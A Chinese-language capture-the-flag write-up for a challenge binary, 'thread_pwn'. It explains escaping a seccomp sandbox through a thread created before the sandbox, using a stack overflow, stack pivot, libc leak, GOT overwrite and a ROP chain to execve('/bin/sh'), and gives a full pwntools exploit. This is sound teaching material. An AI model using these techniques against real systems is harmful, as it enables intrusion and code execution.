0%

关于通过线程绕过沙箱的一道题

thread_pwn

保护

image-20240428181256065

开了沙箱保护策略,程序中只允许出现read,write,clock_nanosleep,exit_group这些系统调用。

image-20240428181336131

源码分析

程序创建了一个线程,在这个线程中调用start_routine函数

image-20240428184506061

有一个栈溢出漏洞,可以溢出0x10个字节

image-20240427204331334

image-20240428175826441

start_routine函数

image-20240428184444419

思路

​ 如果是一般的题并且没有开沙箱,可以栈迁移打ret2libc。但是本题开了沙箱,程序中不允许出现除read,write,clock_nanosleep,exit_group之外的系统调用。与此同时,本题也创建了一个子线程,也就是说我们有可能在子线程中执行后门函数去拿到shell

在父进程中布置rop,栈迁移,泄漏libc,并修改sleep函数的got表为call_read的地址

payload = b'a'*0x40+p64(bss+0x40)+p64(call_read)
#再read一次,依旧0x50个字节。由于lea rax,[rbp-0x40]这个指令,我们在这里覆盖rbp的时候要在.bss段的地址上+0x40
p.sendafter(b'Welcome ,do you know threads?',payload)
#下面这个payload中的前0x40个字节被写到.bss(0x404400)
payload = p64(pop_rdi)+p64(elf.got['write'])+p64(elf.plt['puts'])
payload+= p64(pop_rbp)+p64(elf.got['sleep']+0x40)+p64(call_read)+p64(data)*2
#让rbp中为elf.got['sleep']+0x40,然后通过lea rax,[rbp-0x40],mov rsi,rax这两个指令,下一次read的时候,我们就能覆盖sleep函数的got表中的内容为call_read的地址
payload = payload.ljust(0x40,b'a')
payload+= p64(bss-0x8)+p64(leave_ret)
# rbp 自己加一个leave ; ret栈迁移
p.send(payload)

让父进程陷入死循环

payload = p64(call_read) #把call_read的地址写到sleep函数got表中
payload+= p64(pop_rax)+p64(jmp_rax)*2 #让父进程陷入死循环
payload = payload.ljust(0x40,b'a')
payload+= p64(elf.got['sleep'])+p64(leave_ret)
#rbp为sleep的got表,栈迁移把执行流迁移到sleep函数也就是程序中的call_read地址
p.send(payload)

布置rop

payload = b'a'*0x30+p64(pop_rbp)+p64(bss+0x340)+p64(call_read)+p64(bss+0x300)
p.send(payload)
pause()
payload = p64(pop_rdi)+p64(bin_sh_addr)+p64(pop_rsi)+p64(0)+p64(pop_rdx_r12)+p64(0)*2+p64(execve_addr)
payload+= p64(bss+0x300-0x8)+p64(leave_ret)
p.send(payload)

exp

from tools import *
# context.log_level="debug"
p = process('./thread_pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
debug(p)
elf = ELF('./thread_pwn')

pop_rdi = 0x401593
pop_rsi_r15 = 0x401591
pop_rbp = 0x40123d
leave_ret = 0x401481
bss = 0x404400
call_read = 0x4014be
data = 0x404068

payload = b'a'*0x40+p64(bss+0x40)+p64(call_read)
p.sendafter(b'Welcome ,do you know threads?',payload)
payload = p64(pop_rdi)+p64(elf.got['write'])+p64(elf.plt['puts'])
payload+= p64(pop_rbp)+p64(elf.got['sleep']+0x40)+p64(call_read)+p64(data)*2
payload = payload.ljust(0x40,b'a')
payload+= p64(bss-0x8)+p64(leave_ret)
p.send(payload)
p.recvuntil(b'This is my thread...')
write_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
log_addr("write_addr")
libc_base = write_addr-libc.sym['write']
log_addr("libc_base")
execve_addr=libc_base+libc.sym['execve']
bin_sh_addr = libc_base+next(libc.search(b'/bin/sh'))
pop_rax = libc_base+0x45eb0
pop_rsi = libc_base+0x2be51
pop_rdx_r12 = libc_base+0x11f497
jmp_rax = 0x4011cc

payload = p64(call_read)
payload+= p64(pop_rax)+p64(jmp_rax)*2
payload = payload.ljust(0x40,b'a')
payload+= p64(elf.got['sleep'])+p64(leave_ret)
p.send(payload)
pause()
payload = b'a'*0x30+p64(pop_rbp)+p64(bss+0x340)+p64(call_read)+p64(bss+0x300)
p.send(payload)
pause()
payload = p64(pop_rdi)+p64(bin_sh_addr)+p64(pop_rsi)+p64(0)+p64(pop_rdx_r12)+p64(0)*2+p64(execve_addr)
payload+= p64(bss+0x300-0x8)+p64(leave_ret)
p.send(payload)

p.interactive()

拿到flag

image-20240428184257703

总结

  1. 几个gdb调试要用到的命令:

    查询线程idi threads

    切换线程:thread id

    线程锁定:set scheduler-locking on

    解除锁定:set scheduler-locking off

  2. 沙箱(Sandbox)是一种安全机制,用于限制程序的运行环境。如果父进程在创建子线程之前设置了沙箱策略,那么这些策略可能会限制子线程的行为。然而,如果子线程在沙箱策略设置之前就已经创建,那么它可能不会受到这些限制。

  3. 子进程的栈区是父进程用mmap映射出来的一片内存(并不能在父进程里溢出篡改子进程的数据)

    bssdata段以及代码段(以及got表)的数据是父进程和子进程之间所共享的